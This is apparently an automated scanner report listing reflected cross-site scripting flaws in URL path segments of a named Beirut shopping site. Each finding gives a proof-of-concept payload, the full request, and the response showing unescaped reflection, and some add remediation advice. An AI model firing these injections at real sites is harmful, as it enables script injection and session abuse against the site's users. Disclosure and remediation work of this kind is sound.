GET /Shopping/Home-Furnishings/4120758082/Textiles/478fd0'-alert(1)-'f64efe3a9fd HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:57:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54775
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings/4120758082/Textiles/478fd0'-alert(1)-'f64efe3a9fd'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 821ac"><a>cdaf24a24dc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping821ac"><a>cdaf24a24dc/Home-Furnishings/4120758082/Tools-Hardware/30 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:07:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60115
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping821ac"><a>cdaf24a24dc"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 79a03'-alert(1)-'ecbe13b7b22 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping79a03'-alert(1)-'ecbe13b7b22/Home-Furnishings/4120758082/Tools-Hardware/30 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:16:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60192
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping79a03'-alert(1)-'ecbe13b7b22/Home-Furnishings/4120758082/Tools-Hardware/30'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 21a5f<script>alert(1)</script>d6e699e23c8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Home-Furnishings21a5f<script>alert(1)</script>d6e699e23c8/4120758082/Tools-Hardware/30 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:19:20 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55405
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Home Furnishings21a5f<script>alert(1)</script>d6e699e23c8 <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e2e3c'-alert(1)-'1ef30aba2cb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishingse2e3c'-alert(1)-'1ef30aba2cb/4120758082/Tools-Hardware/30 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:18:59 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55443
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping/Home-Furnishingse2e3c'-alert(1)-'1ef30aba2cb/4120758082/Tools-Hardware/30'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 598bf'-alert(1)-'dd8bdd55a7d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082598bf'-alert(1)-'dd8bdd55a7d/Tools-Hardware/30 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:22:42 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55313
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Shopping/Home-Furnishings/4120758082598bf'-alert(1)-'dd8bdd55a7d/Tools-Hardware/30'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d81b6'-alert(1)-'a9e5bf09def was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Tools-Hardwared81b6'-alert(1)-'a9e5bf09def/30 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:26:38 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55237
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Home-Furnishings/4120758082/Tools-Hardwared81b6'-alert(1)-'a9e5bf09def/30'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e890f'-alert(1)-'c82615d10fb was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Home-Furnishings/4120758082/Tools-Hardware/30e890f'-alert(1)-'c82615d10fb HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:30:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 54936
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Shopping/Home-Furnishings/4120758082/Tools-Hardware/30e890f'-alert(1)-'c82615d10fb'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d7488'-alert(1)-'4b7fda2f3b5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shoppingd7488'-alert(1)-'4b7fda2f3b5/Shopping-Centers/492064852 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:50:28 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60400
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shoppingd7488'-alert(1)-'4b7fda2f3b5/Shopping-Centers'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ae3e"><a>363c9f6e92d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shopping8ae3e"><a>363c9f6e92d/Shopping-Centers/492064852 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:39:53 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59869
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shopping8ae3e"><a>363c9f6e92d"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 1292a<script>alert(1)</script>b54ac23f37c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /Shopping/Shopping-Centers1292a<script>alert(1)</script>b54ac23f37c/492064852 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:54:45 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60440
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <p class="main-vista">Shopping Centers1292a<script>alert(1)</script>b54ac23f37c <a href="#" id="backlink"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1f7ef'-alert(1)-'18ec9d51012 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Shopping-Centers1f7ef'-alert(1)-'18ec9d51012/492064852 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:54:23 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60270
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Shopping/Shopping-Centers1f7ef'-alert(1)-'18ec9d51012'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8d8af'-alert(1)-'44e30860094 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping8d8af'-alert(1)-'44e30860094/Shopping-Centers/492064852/Commercial-Centers/12 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:48:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60006
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Shopping8d8af'-alert(1)-'44e30860094/Shopping-Centers/492064852/Commercial-Centers/12'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abd55"><a>64eb7a78900 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Shoppingabd55"><a>64eb7a78900/Shopping-Centers/492064852/Commercial-Centers/12 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:40:25 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60248
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Shoppingabd55"><a>64eb7a78900"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5ffd'-alert(1)-'c7888ff4bbb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Shopping/Shopping-Centersa5ffd'-alert(1)-'c7888ff4bbb/492064852/Commercial-Centers/12 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 12:52:37 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60161
